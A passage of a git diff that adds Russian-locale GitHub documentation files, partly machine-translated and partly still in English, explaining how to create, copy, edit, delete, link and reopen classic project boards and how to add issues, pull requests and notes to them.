рабочих процессов, которые необходимо настроить для столбца. +![Список параметров для автоматизации столбца](/assets/images/help/projects/select-automation-options-existing-column.png) +6. Нажмите кнопку **Обновить автоматизацию**. + +## Дополнительные материалы +- "[Сведения об автоматизации для {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards)" diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board.md new file mode 100644 index 000000000000..2e1aef5aabce --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/copying-a-project-board.md @@ -0,0 +1,39 @@ +--- +title: 'Copying a {% data variables.product.prodname_project_v1 %}' +intro: 'You can copy a {% data variables.projects.projects_v1_board %} to quickly create a new project. Copying frequently used or highly customized {% data variables.projects.projects_v1_boards %} helps standardize your workflow.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/copying-a-project-board + - /articles/copying-a-project-board + - /github/managing-your-work-on-github/copying-a-project-board +versions: + fpt: '*' + ghec: '*' +topics: + - Pull requests +allowTitleToDifferFromFilename: true +--- +{% data reusables.projects.project_boards_old %} + +Copying a {% data variables.projects.projects_v1_board %} allows you to reuse a {% data variables.projects.projects_v1_board %}'s title, description, and automation configuration. You can copy {% data variables.projects.projects_v1_boards %} to eliminate the manual process of creating new {% data variables.projects.projects_v1_boards %} for similar workflows. + +You must have read access to a {% data variables.projects.projects_v1_board %} to copy it to a repository or organization where you have write access. + +When you copy a {% data variables.projects.projects_v1_board %} to an organization, the {% data variables.projects.projects_v1_board %}'s visibility will default to private, with an option to change the visibility. For more information, see "[Changing {% data variables.product.prodname_project_v1 %} visibility](/articles/changing-project-board-visibility/)." + +A {% data variables.projects.projects_v1_board %}'s automation is also enabled by default. For more information, see "[About automation for {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards/)." + +1. Navigate to the {% data variables.projects.projects_v1_board %} you want to copy. +{% data reusables.project-management.click-menu %} +3. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Copy**. +![Copy option in drop-down menu from project board sidebar](/assets/images/help/projects/project-board-copy-setting.png) +4. Under "Owner", use the drop-down menu and click the repository or organization where you want to copy the project board. +![Select owner of copied project board from drop-down menu](/assets/images/help/projects/copied-project-board-owner.png) +5. Optionally, under "Project board name", type the name of the copied {% data variables.projects.projects_v1_board %}. +![Field to type a name for the copied project board](/assets/images/help/projects/copied-project-board-name.png) +6. Optionally, under "Description", type a description of the copied project board that other people will see. +![Field to type a description for the copied project board](/assets/images/help/projects/copied-project-board-description.png) +7. Optionally, under "Automation settings", select whether you want to copy the configured automatic workflows. This option is enabled by default. For more information, see "[About automation for project boards](/articles/about-automation-for-project-boards/)." +![Select automation settings for copied project board](/assets/images/help/projects/copied-project-board-automation-settings.png) +{% data reusables.project-management.choose-visibility %} +9. Click **Copy project**. +![Confirm Copy button](/assets/images/help/projects/confirm-copy-project-board.png) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md new file mode 100644 index 000000000000..8c2e26700057 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md @@ -0,0 +1,115 @@ +--- +title: 'Creating a {% data variables.product.prodname_project_v1 %}' +intro: '{% data variables.projects.projects_v1_boards_caps %} can be used to create customized workflows to suit your needs, like tracking and prioritizing specific feature work, comprehensive roadmaps, or even release checklists.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/creating-a-project-board + - /articles/creating-a-project + - /articles/creating-a-project-board + - /github/managing-your-work-on-github/creating-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests + - Issues + - Projects + - Project management +type: how_to +allowTitleToDifferFromFilename: true +--- +{% data reusables.projects.project_boards_old %} + +{% data reusables.project-management.use-automated-template %} + +{% data reusables.project-management.copy-project-boards %} + +{% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a {% data variables.product.prodname_project_v1 %} +](/articles/linking-a-repository-to-a-project-board)." + +Once you've created your {% data variables.projects.projects_v1_board %}, you can add issues, pull requests, and notes to it. For more information, see "[Adding issues and pull requests to a {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board)" and "[Adding notes to a {% data variables.product.prodname_project_v1 %}](/articles/adding-notes-to-a-project-board)." + +You can also configure workflow automations to keep your {% data variables.projects.projects_v1_board %} in sync with the status of issues and pull requests. For more information, see "[About automation for {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards)." + +{% data reusables.project-management.project-board-import-with-api %} + +## Creating a user-owned {% data variables.projects.projects_v1_board %} + +{% data reusables.projects.classic-project-creation %} + +{% data reusables.profile.access_profile %} +2. On the top of your profile page, in the main navigation, click {% octicon "project" aria-label="The project board icon" %} **Projects**. +![Project tab](/assets/images/help/projects/user-projects-tab.png){% ifversion projects-v2 %} +1. Click **Projects (classic)**{% endif %} +{% data reusables.project-management.click-new-project %} +{% data reusables.project-management.create-project-name-description %} +{% data reusables.project-management.choose-template %} +{% data reusables.project-management.choose-visibility %} +{% data reusables.project-management.linked-repositories %} +{% data reusables.project-management.create-project-button %} +{% data reusables.project-management.add-column-new-project %} +{% data reusables.project-management.name-project-board-column %} +{% data reusables.project-management.select-column-preset %} +{% data reusables.project-management.select-automation-options-new-column %} +{% data reusables.project-management.click-create-column %} +{% data reusables.project-management.add-more-columns %} + +{% data reusables.project-management.edit-project-columns %} + +## Creating an organization-wide {% data variables.projects.projects_v1_board %} + +{% data reusables.projects.classic-project-creation %} + +{% ifversion classic-project-visibility-permissions %} +{% note %} + +**Note:** {% data reusables.projects.owners-can-limit-visibility-permissions %} + +{% endnote %} +{% endif %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %} +1. Click **Projects (classic)**{% endif %} +{% data reusables.project-management.click-new-project %} +{% data reusables.project-management.create-project-name-description %} +{% data reusables.project-management.choose-template %} +{% data reusables.project-management.choose-visibility %} +{% data reusables.project-management.linked-repositories %} +{% data reusables.project-management.create-project-button %} +{% data reusables.project-management.add-column-new-project %} +{% data reusables.project-management.name-project-board-column %} +{% data reusables.project-management.select-column-preset %} +{% data reusables.project-management.select-automation-options-new-column %} +{% data reusables.project-management.click-create-column %} +{% data reusables.project-management.add-more-columns %} + +{% data reusables.project-management.edit-project-columns %} + +## Creating a repository {% data variables.projects.projects_v1_board %} + +{% data reusables.projects.classic-project-creation %} + +{% data reusables.repositories.navigate-to-repo %} +2. Under your repository name, click {% octicon "project" aria-label="The project board icon" %} **Projects**. +![Project tab](/assets/images/help/projects/repo-tabs-projects.png){% ifversion projects-v2 %} +1. Click **Projects (classic)**{% endif %} +{% data reusables.project-management.click-new-project %} +{% data reusables.project-management.create-project-name-description %} +{% data reusables.project-management.choose-template %} +{% data reusables.project-management.create-project-button %} +{% data reusables.project-management.add-column-new-project %} +{% data reusables.project-management.name-project-board-column %} +{% data reusables.project-management.select-column-preset %} +{% data reusables.project-management.select-automation-options-new-column %} +{% data reusables.project-management.click-create-column %} +{% data reusables.project-management.add-more-columns %} + +{% data reusables.project-management.edit-project-columns %} + +## Further reading + +- "[About projects boards](/articles/about-project-boards)" +- "[Editing a project board](/articles/editing-a-project-board)"{% ifversion fpt or ghec %} +- "[Copying a project board](/articles/copying-a-project-board)"{% endif %} +- "[Closing a project board](/articles/closing-a-project-board)" +- "[About automation for project boards](/articles/about-automation-for-project-boards)" diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md new file mode 100644 index 000000000000..e85fb6f561c3 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md @@ -0,0 +1,39 @@ +--- +title: 'Удаление компонента "{% data variables.product.prodname_project_v1 %}"' +intro: 'Если доступ к ее содержимому больше не требуется, {% data variables.projects.projects_v1_board %} может быть удалена.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/deleting-a-project-board + - /articles/deleting-a-project + - /articles/deleting-a-project-board + - /github/managing-your-work-on-github/deleting-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +allowTitleToDifferFromFilename: true +ms.openlocfilehash: fb68b796fa41a565ab2e196f878c17c94ec44a06 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108938' +--- +{% data reusables.projects.project_boards_old %} + +{% tip %} + +**Совет**. Если {% data variables.projects.projects_v1_board %} выполнена или больше не нужна, но необходимо сохранить доступ к ее содержимому, [{% data variables.projects.projects_v1_board %} может быть закрыта](/articles/closing-a-project-board) вместо удаления. + +{% endtip %} + +1. Должна быть выбрана {% data variables.projects.projects_v1_board %}, которую требуется удалить. +{% data reusables.project-management.click-menu %} {% data reusables.project-management.click-edit-sidebar-menu-project-board %} +4. Нажмите кнопку **Удалить проект**. +![Кнопка "Удалить проект"](/assets/images/help/projects/delete-project-button.png) +5. Чтобы подтвердить удаление доски проекта, нажмите кнопку **ОК**. + +## Дополнительные материалы + +- [Закрытие компонента "{% data variables.product.prodname_project_v1 %}"](/articles/closing-a-project-board) +- [Отключение компонента "{% data variables.product.prodname_project_v1_caps %}" в репозитории](/articles/disabling-project-boards-in-a-repository) +- [Отключение компонента "{% data variables.product.prodname_project_v1_caps %}" в организации](/articles/disabling-project-boards-in-your-organization) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md new file mode 100644 index 000000000000..cc8832f7a215 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md @@ -0,0 +1,39 @@ +--- +title: 'Редактирование компонента "{% data variables.product.prodname_project_v1 %}"' +intro: 'Существующая {% data variables.projects.projects_v1_board %} поддерживает редактирование своего заголовка и описания.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/editing-a-project-board + - /articles/editing-a-project + - /articles/editing-and-deleting-a-project + - /articles/editing-a-project-board + - /github/managing-your-work-on-github/editing-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 9b3811bcd472d44be809681064476e7e4f5bef08 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109567' +--- +{% data reusables.projects.project_boards_old %} + +{% tip %} + +**Совет.** Сведения о том, каким образом {% data variables.projects.projects_v1_board %} позволяет добавлять, удалять и редактировать столбцы, см. в статье [Создание компонента "{% data variables.product.prodname_project_v1 %}"](/articles/creating-a-project-board). + +{% endtip %} + +1. Должна быть выбрана {% data variables.projects.projects_v1_board %}, которую требуется изменить. +{% data reusables.project-management.click-menu %} {% data reusables.project-management.click-edit-sidebar-menu-project-board %} +4. Измените имя и описание, которые имеет {% data variables.projects.projects_v1_board %}, необходимым образом и щелкните **Сохранить проект**. +![Поля с именем и описанием доски проекта и кнопка "Сохранить проект"](/assets/images/help/projects/edit-project-board-save-button.png) + +## Дополнительные материалы + +- [Сведения о компоненте "{% data variables.product.prodname_projects_v1 %}"](/articles/about-project-boards) +- [Добавление проблем и запросов на вытягивание к компоненту "{% data variables.product.prodname_project_v1 %}"](/articles/adding-issues-and-pull-requests-to-a-project-board) +- [Удаление компонента "{% data variables.product.prodname_project_v1 %}"](/articles/deleting-a-project-board) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md new file mode 100644 index 000000000000..c0af832edf7e --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/index.md @@ -0,0 +1,32 @@ +--- +title: 'Управление {% data variables.product.prodname_projects_v1 %}' +shortTitle: 'Managing {% data variables.product.prodname_projects_v1 %}' +intro: 'Узнайте, как создавать {% data variables.projects.projects_v1_boards %} и управлять ими' +versions: + feature: projects-v1 +topics: + - Issues + - Projects +children: + - /about-project-boards + - /creating-a-project-board + - /editing-a-project-board + - /linking-a-repository-to-a-project-board + - /about-automation-for-project-boards + - /configuring-automation-for-project-boards + - /copying-a-project-board + - /changing-project-board-visibility + - /closing-a-project-board + - /reopening-a-closed-project-board + - /deleting-a-project-board +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards +allowTitleToDifferFromFilename: true +ms.openlocfilehash: b4034bc9c9ffd29709ac491c6729787c958dd50b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109568' +--- +{% data reusables.projects.project_boards_old %} diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md new file mode 100644 index 000000000000..9f39eccc4fc1 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/linking-a-repository-to-a-project-board.md @@ -0,0 +1,46 @@ +--- +title: 'Связывание репозитория с компонентом "{% data variables.product.prodname_project_v1 %}"' +intro: 'Принадлежащая вашей организации или личной учетной записи {% data variables.projects.projects_v1_board %} может иметь связанный репозиторий.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/linking-a-repository-to-a-project-board + - /articles/linking-a-repository-to-a-project-board + - /github/managing-your-work-on-github/linking-a-repository-to-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: Link repository to board +allowTitleToDifferFromFilename: true +ms.openlocfilehash: d0893b64551be80577547b9791e7a7ed6a432de0 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110079' +--- +{% data reusables.projects.project_boards_old %} + +Любой пользователь может связывать репозитории, принадлежащие организации или личной учетной записи, с компонентом "{% data variables.projects.projects_v1_board %}", если эта {% data variables.projects.projects_v1_board %} дает ему разрешения на запись. Дополнительные сведения см. в статье [{% data variables.product.prodname_project_v1_caps %} и разрешения для организации](/articles/project-board-permissions-for-an-organization/) или [Уровни разрешений для компонентов "{% data variables.product.prodname_projects_v1 %}", принадлежащих пользователю](/articles/permission-levels-for-user-owned-project-boards/). + +{% data reusables.project-management.link-repos-to-project-board %} Вы можете добавлять проблемы и запросы на вытягивание из любых несвязанных репозиториев, вводя в карточке URL-адрес проблемы или запроса на вытягивание. Дополнительные сведения: [Добавление проблем и запросов на вытягивание к компоненту "{% data variables.product.prodname_project_v1 %}"](/articles/adding-issues-and-pull-requests-to-a-project-board). + +1. Должна быть выбрана {% data variables.projects.projects_v1_board %}, к которой требуется привязать репозиторий. +{% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} +4. На левой боковой панели щелкните **Связанные репозитории**. +![Пункт меню "Связанные репозитории" на левой боковой панели](/assets/images/help/projects/project-board-linked-repositories-setting.png) +5. Щелкните **Связать репозиторий**. +![Кнопка "Связать репозиторий" на вкладке "Связанные репозитории"](/assets/images/help/projects/link-repository-button.png) +6. Найдите репозиторий, который хотите связать. +![Поле поиска в окне "Связать репозиторий"](/assets/images/help/projects/search-to-link-repository.png) +7. Щелкните **Связать**. Чтобы отменить связь, нажмите кнопку **Отменить связь**. +![Кнопка "Связать"](/assets/images/help/projects/link-button.png) + +{% note %} + +**Примечание.** Корпоративная или пользовательская {% data variables.projects.projects_v1_board %} может иметь только связанный репозиторий, в котором включены проблемы. То есть в репозитории должна быть вкладка "Проблемы" (по умолчанию в ответвленных репозиториях проблемы отключены). Сведения о том, как включить или отключить проблемы в репозитории, см. в разделе [Отключение проблем для репозитория](/github/managing-your-work-on-github/disabling-issues). + +{% endnote %} + +## Дополнительные материалы + +- [Сведения о компоненте "{% data variables.product.prodname_projects_v1 %}"](/articles/about-project-boards) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md new file mode 100644 index 000000000000..55996e577867 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md @@ -0,0 +1,37 @@ +--- +title: 'Повторное открытие закрытого компонента "{% data variables.product.prodname_project_v1 %}"' +intro: 'Закрытая {% data variables.projects.projects_v1_board %} может быть открыта повторно, и если {% data variables.projects.projects_v1_board %} имеет автоматизированные рабочие процессы, их можно перезапустить.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/reopening-a-closed-project-board + - /articles/reopening-a-closed-project-board + - /github/managing-your-work-on-github/reopening-a-closed-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: 'Reopen {% data variables.product.prodname_project_v1 %}' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: e0101378c0b7049f7cba5e04dd28231a1237d0c5 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109575' +--- +{% data reusables.projects.project_boards_old %} + +Когда {% data variables.projects.projects_v1_board %} закрывается, если {% data variables.projects.projects_v1_board %} имеет автоматизированные рабочие процессы, они по умолчанию будут приостановлены. Дополнительные сведения: [Закрытие компонента "{% data variables.product.prodname_project_v1 %}"](/articles/closing-a-project-board). + +Когда {% data variables.projects.projects_v1_board %} открывается повторно, вы можете *синхронизировать* автоматизацию, и тогда положение карточек на доске обновляется в соответствии с настроенными для нее параметрами автоматизации. + +1. Должна быть выбрана {% data variables.projects.projects_v1_board %}, которую требуется открыть повторно. +{% data reusables.project-management.click-menu %} +3. Выберите, должна ли ваша {% data variables.projects.projects_v1_board %} синхронизировать автоматизацию или {% data variables.projects.projects_v1_board %} откроется повторно без синхронизации. + - Если {% data variables.projects.projects_v1_board %} должна открыться повторно и синхронизировать автоматизацию, щелкните **Повторно открыть и синхронизировать проект**. + ![Нажмите кнопку "Повторно открыть и повторно синхронизировать проект"](/assets/images/help/projects/reopen-and-sync-project.png) + - Если {% data variables.projects.projects_v1_board %} должна открыться повторно без синхронизации автоматизации, в раскрывающемся меню повторного открытия щелкните **Только открыть**. Затем щелкните **Только открыть**. + ![Раскрывающееся меню повторного открытия закрытой доски проекта](/assets/images/help/projects/reopen-closed-project-board-drop-down-menu.png) + +## Дополнительные материалы + +- [Настройка автоматизации компонента "{% data variables.product.prodname_projects_v1 %}"](/articles/configuring-automation-for-project-boards) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md new file mode 100644 index 000000000000..ed19c5f01485 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md @@ -0,0 +1,83 @@ +--- +title: 'Добавление проблем и запросов на вытягивание в {% data variables.product.prodname_project_v1 %}' +intro: 'Вы можете добавить проблемы и запросы на вытягивание на панель {% data variables.projects.projects_v1_board %} в виде карточек и рассмотреть их в столбцах.' +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board + - /articles/adding-issues-and-pull-requests-to-a-project + - /articles/adding-issues-and-pull-requests-to-a-project-board + - /github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: 'Add issues & PRs to {% data variables.product.prodname_project_v1 %}' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 3adfb2c337a417b8e4f932ab9ae9860939217c6c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110078' +--- +{% data reusables.projects.project_boards_old %} + +Вы можете добавить карточки проблем и запросов на вытягивание на панель {% data variables.projects.projects_v1_board %} следующими способами: +- Перетаскивая карточки из раздела **Рассмотрение** на боковой панели. +- Вводя в карточке URL-адрес проблемы или запроса на вытягивание. +- Поиск проблем или запросов на вытягивание на боковой панели поиска {% data variables.projects.projects_v1_board %}. + +В каждый столбец проекта можно поместить не более 2500 карточек. Если количество карточек в столбце достигло максимума, больше нельзя перемещать карточки в этот столбец. + +![Курсор перемещает карточку проблемы с боковой рассмотрения в столбец доски проекта](/assets/images/help/projects/add-card-from-sidebar.gif) + +{% note %} + +**Примечание.** Вы также можете добавлять на доску вашего проекта заметки для напоминания о задачах или ссылок на проблемы и запросы на вытягивание из любого репозитория в {% data variables.product.product_name %}, или чтобы добавить связанные сведения на {% data variables.projects.projects_v1_board %}. Дополнительные сведения см. в разделе [Добавление заметок на доску проекта](/articles/adding-notes-to-a-project-board). + +{% endnote %} + +{% data reusables.project-management.edit-in-project %} + +{% data reusables.project-management.link-repos-to-project-board %} Когда вы ищете проблемы и запросы на вытягивание, чтобы добавить на {% data variables.projects.projects_v1_board %}, поиск автоматически ограничивается вашими связанными репозиториями. Эти квалификаторы можно удалить для поиска во всех репозиториях организации. Дополнительные сведения см. в разделе [Связывание репозитория с доской проекта](/articles/linking-a-repository-to-a-project-board). + +## Добавление проблем и запросов на вытягивание на {% data variables.projects.projects_v1_board %} + +1. Перейдите к {% data variables.projects.projects_v1_board %}, куда вы хотите добавлять проблемы и запросы на вытягивание. +2. В {% data variables.projects.projects_v1_board %} щелкните {% octicon "plus" aria-label="The plus icon" %} **Добавить карточки**. +![Кнопка "Добавить карточки"](/assets/images/help/projects/add-cards-button.png) +3. Найдите проблемы и запросы на вытягивание для добавления в {% data variables.projects.projects_v1_board %} с помощью квалификаторов поиска. Дополнительные сведения о квалификаторах поиска, которые вы можете использовать, см. в разделе [Поиск проблем](/articles/searching-issues). + ![Поиск проблем и запросов на вытягивание](/assets/images/help/issues/issues_search_bar.png) + + {% tip %} + + **Советы** + - Вы также можете добавить проблему или запрос на вытягивание, введя URL-адрес в карточке. + - Если вы работаете над определенной функцией, то можно применить метку к каждой связанной с этой функцией проблемой или запросом на вытягивание, а затем с легкостью добавить карточки на {% data variables.projects.projects_v1_board %}, выполнив поиск по имени метки. Дополнительные сведения см. в разделе [Применение меток к проблемам и запросам на вытягивание](/articles/applying-labels-to-issues-and-pull-requests). + + {% endtip %} +4. Из отфильтрованного списка проблем и запросов на вытягивание перетащите карточку, которую хотите добавить на {% data variables.projects.projects_v1_board %}, в правильный столбец. Вы также можете перемещать карточки с помощью сочетаний клавиш. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %} + + {% tip %} + + **Совет.** Вы можете использовать перетаскивание или сочетания клавиш для изменения порядка карточек и перемещения их между столбцами. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %} + + {% endtip %} + +## Добавление проблем и запросов на вытягивание на {% data variables.projects.projects_v1_board %} из боковой панели + +1. В правой части запроса на вытягивание или проблемы нажмите кнопку **Проекты {% octicon "gear" aria-label="The Gear icon" %}** . + ![Кнопка доски проекта на боковой панели](/assets/images/help/projects/sidebar-project.png) +2. Перейдите на вкладку **Последние**, **Репозиторий**, **Пользователь** или **Организация** для {% data variables.projects.projects_v1_board %}, на которую вы хотите добавить карточки. + ![Вкладки "Последние", "Репозиторий" и "Организация"](/assets/images/help/projects/sidebar-project-tabs.png) +3. Введите имя проекта в поле **Фильтровать проекты**. + ![Поле поиска доски проекта](/assets/images/help/projects/sidebar-search-project.png) +4. Выберите одну или несколько {% data variables.projects.projects_v1_boards %}, куда вы хотите добавить проблему или запрос на вытягивание. + ![Выбранная доска проекта](/assets/images/help/projects/sidebar-select-project.png) +5. Щелкните {% octicon "triangle-down" aria-label="The down triangle icon" %}, а затем щелкните столбец, в который хотите поместить проблему или запрос на вытягивание. Карточка переместится в нижнюю часть выбранного столбца {% data variables.projects.projects_v1_board %}. + ![Меню перемещения карточки в столбец](/assets/images/help/projects/sidebar-select-project-board-column-menu.png) + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards) +- [Редактирование {% data variables.product.prodname_project_v1 %}](/articles/editing-a-project-board) +- [Фильтрация карточек на {% data variables.product.prodname_project_v1 %}](/articles/filtering-cards-on-a-project-board) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md new file mode 100644 index 000000000000..7238f56b420b --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md @@ -0,0 +1,88 @@ +--- +title: 'Добавление заметок в {% data variables.product.prodname_project_v1 %}' +intro: 'В {% data variables.projects.projects_v1_board %} можно добавить заметки, чтобы не забыть о задачах или добавить сведения, связанные с {% data variables.projects.projects_v1_board %}.' +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-project-boards/adding-notes-to-a-project-board + - /articles/adding-notes-to-a-project + - /articles/adding-notes-to-a-project-board + - /github/managing-your-work-on-github/adding-notes-to-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: 'Add notes to {% data variables.product.prodname_project_v1 %}' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: fc9df02b211056a08ed608a6c98b9d2f0b78c5b7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110142' +--- +{% data reusables.projects.project_boards_old %} + +{% tip %} + +**Советы** +- Вы можете форматировать свои заметки с помощью синтаксиса Markdown. Например, можно использовать заголовки, ссылки, списки задач или эмодзи. Дополнительные сведения см. в разделе [Базовый синтаксис записи и форматирования](/articles/basic-writing-and-formatting-syntax). +- Вы можете использовать перетаскивание или сочетания клавиш для изменения порядка заметок и перемещения их между столбцами. {% data reusables.project-management.for-more-info-project-keyboard-shortcuts %} +- Для добавления заметок в {% data variables.projects.projects_v1_board %} должен быть как минимум один столбец. Дополнительные сведения см. в разделе [Создание доски проекта](/articles/creating-a-project-board). + +{% endtip %} + +При добавлении URL-адреса проблемы, запроса на вытягивание или другого {% data variables.projects.projects_v1_board %} в заметку вы сможете предварительно его просмотреть в сводной карточке под текстом. + +![Карточки доски проекта, показывающие предварительный просмотр проблемы и другой доски проекта](/assets/images/help/projects/note-with-summary-card.png) + +## Добавление заметок в {% data variables.projects.projects_v1_board %} + +1. Перейдите к {% data variables.projects.projects_v1_board %}, в который необходимо добавить заметки. +2. В столбце, в который нужно добавить заметку, щелкните {% octicon "plus" aria-label="The plus icon" %}. +![Значок плюса в заголовке столбца](/assets/images/help/projects/add-note-button.png) +3. Введите заметку и нажмите кнопку **Добавить**. +![Поле для ввода заметки и кнопка добавления карточки](/assets/images/help/projects/create-and-add-note-button.png) + + {% tip %} + + **Совет.** Вы можете ссылаться в заметке на проблему или запрос на вытягивание, введя в карточке соответствующий URL-адрес. + + {% endtip %} + +## Преобразование заметки в проблему + +Если вы создали заметку и обнаружили, что ее недостаточно для ваших потребностей, можно преобразовать ее в проблему. + +При преобразовании заметки в проблему проблема создается автоматически с использованием содержимого из заметки. Первая строка заметки станет заголовком проблемы, а все дополнительное содержимое заметки будет добавлено в описание проблемы. + +{% tip %} + +**Совет.** Вы можете добавлять содержимое в текст заметки, чтобы @mention кого-то, связать с другой проблемой или запросом на вытягивание или добавить эмодзи. Эти возможности {% data variables.product.prodname_dotcom %} Flavored Markdown не поддерживаются в заметках для {% data variables.projects.projects_v1_board %}, но после преобразования заметки в проблему они будут отображаться правильно. Дополнительные сведения см. в разделе [Сведения о написании и форматировании в {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github). + +{% endtip %} + +1. Перейдите к заметке, которую хотите преобразовать в проблему. +{% data reusables.project-management.project-note-more-options %} +3. Нажмите кнопку **Преобразовать в проблему**. + ![Кнопка "Преобразовать в проблему"](/assets/images/help/projects/convert-to-issue.png) +4. Если карточка находится в {% data variables.projects.projects_v1_board %} на уровне организации, в раскрывающемся меню выберите репозиторий, в который необходимо добавить проблему. + ![Раскрывающееся меню со списком репозиториев, в которых можно создать проблему](/assets/images/help/projects/convert-note-choose-repository.png) +5. При необходимости измените предварительно заполненный заголовок проблемы и введите текст проблемы. + ![Поля для заголовка и текста проблемы](/assets/images/help/projects/convert-note-issue-title-body.png) +6. Нажмите кнопку **Преобразовать в проблему**. +7. Заметка будет автоматически преобразована в проблему. В {% data variables.projects.projects_v1_board %} новая карточка проблемы будет находиться в том же расположении, что и предыдущая заметка. + +## Изменение и удаление заметки + +1. Перейдите к заметке, которую вы хотите изменить или удалить. +{% data 